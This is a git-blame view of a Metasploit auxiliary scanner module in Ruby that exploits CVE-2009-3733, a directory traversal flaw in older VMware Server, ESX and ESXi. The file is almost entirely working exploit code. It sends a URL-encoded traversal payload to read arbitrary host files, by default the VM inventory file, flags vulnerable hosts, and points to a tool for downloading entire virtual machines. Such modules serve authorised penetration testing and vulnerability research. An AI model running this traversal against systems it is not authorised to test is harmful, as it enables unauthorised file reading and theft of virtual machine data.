Files
metasploit-gs/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

82 lines
2.7 KiB
Ruby
Raw Normal View History

2010-02-25 00:13:56 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-02-24 23:58:51 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2010-02-25 00:13:56 +00:00
2010-02-24 23:58:51 +00:00
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'VMware Server Directory Traversal Vulnerability',
'Description' => 'This modules exploits the VMware Server Directory Traversal
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
allows remote attackers to read arbitrary files. Common VMware server ports
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
the gueststealer tool.',
2010-02-24 23:58:51 +00:00
'Author' => 'CG' ,
'License' => MSF_LICENSE,
'References' =>
[
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
[ 'OSVDB', '59440' ],
2010-02-24 23:58:51 +00:00
[ 'BID', '36842' ],
[ 'CVE', '2009-3733' ],
2010-02-25 00:13:56 +00:00
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
]
)
2010-02-24 23:58:51 +00:00
register_options(
[
Opt::RPORT(8222),
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
])
2010-02-24 23:58:51 +00:00
end
def run_host(target_host)
2010-02-25 00:13:56 +00:00
begin
2010-02-24 23:58:51 +00:00
file = datastore['FILE']
trav = datastore['TRAV']
res = send_request_raw({
2010-02-25 00:13:56 +00:00
'uri' => trav+file,
2010-02-24 23:58:51 +00:00
'version' => '1.1',
'method' => 'GET'
2013-08-21 01:10:46 -05:00
}, 25)
2010-02-24 23:58:51 +00:00
2013-08-21 01:10:46 -05:00
if res.nil?
print_error("Connection timed out")
return
end
if res.code == 200
2010-02-24 23:58:51 +00:00
#print_status("Output Of Requested File:\n#{res.body}")
print_good("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
2010-02-24 23:58:51 +00:00
report_vuln(
{
:host => target_host,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
:refs => self.references,
:exploited_at => Time.now.utc
}
)
2010-02-24 23:58:51 +00:00
else
vprint_status("Received #{res.code} for #{trav}#{file}")
2010-02-24 23:58:51 +00:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
2010-02-24 23:58:51 +00:00
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
2010-02-25 00:13:56 +00:00
end